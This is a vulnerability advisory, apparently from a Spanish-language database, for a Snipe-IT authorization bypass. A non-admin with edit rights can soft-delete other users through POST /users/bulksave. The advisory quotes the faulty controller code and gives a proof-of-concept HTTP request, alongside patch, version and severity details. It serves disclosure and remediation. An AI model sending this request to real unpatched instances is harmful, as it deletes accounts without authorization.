Snipe-IT has an authorization bypass on bulk editing users
Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
{"users.view":"1","users.edit":"1"}The attacker does not have users.delete, admin, or superuser.
Affected Component
-
routes/web/users.php -
app/Http/Controllers/Users/BulkUsersController.php -
Endpoint:
POST /users/bulksave
Root Cause
The UI only exposes bulk delete to users with delete permission:
@can('delete', \App\Models\User::class)
<option value="delete">...</option>
<option value="merge">...</option>
@endcanThe confirmation path also checks delete:
} elseif ($request->input('bulk_actions') == 'delete') {
$this->authorize('delete', User::class);However, the destructive route is registered separately:
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
->name('users/bulksave');and destroy() authorizes only update:
public function destroy(Request $request)
{
$this->authorize('update', User::class);When delete_user=1 is present, the method reaches:
$user->delete();Proof of Concept
-
Create a non-admin attacker account with
users.viewandusers.edit, but notusers.delete. -
Create a harmless non-admin target user.
-
Log in as the attacker and obtain a valid CSRF token.
-
Send:
POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded
_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>Observed response:
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/usersPatches
Patched in 374f426f0c
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | snipe/snipe-it | < 8.6.2 | 8.6.2 |
Referencias
- https://github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9
- https://nvd.nist.gov/vuln/detail/CVE-2026-55460
- https://github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5
- https://github.com/grokability/snipe-it
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L- Debilidad (CWE)
CWE-863- Plataforma
- Composer
- Paquete
snipe/snipe-it- Publicada
- 28.08.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-vgx7-c78r-69w9 - CC BY 4.0
Historial de vulnerabilidades: snipe/snipe-it
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 81
- Primera → última
- 10.2021 09.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 23
- Media 53
- Baja 4
Divulgaciones por año
- 2021: 10
- 2022: 20
- 2023: 2
- 2024: 3
- 2025: 6
- 2026: 40
-
Snipe-IT has an authorization bypass on bulk editing users esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.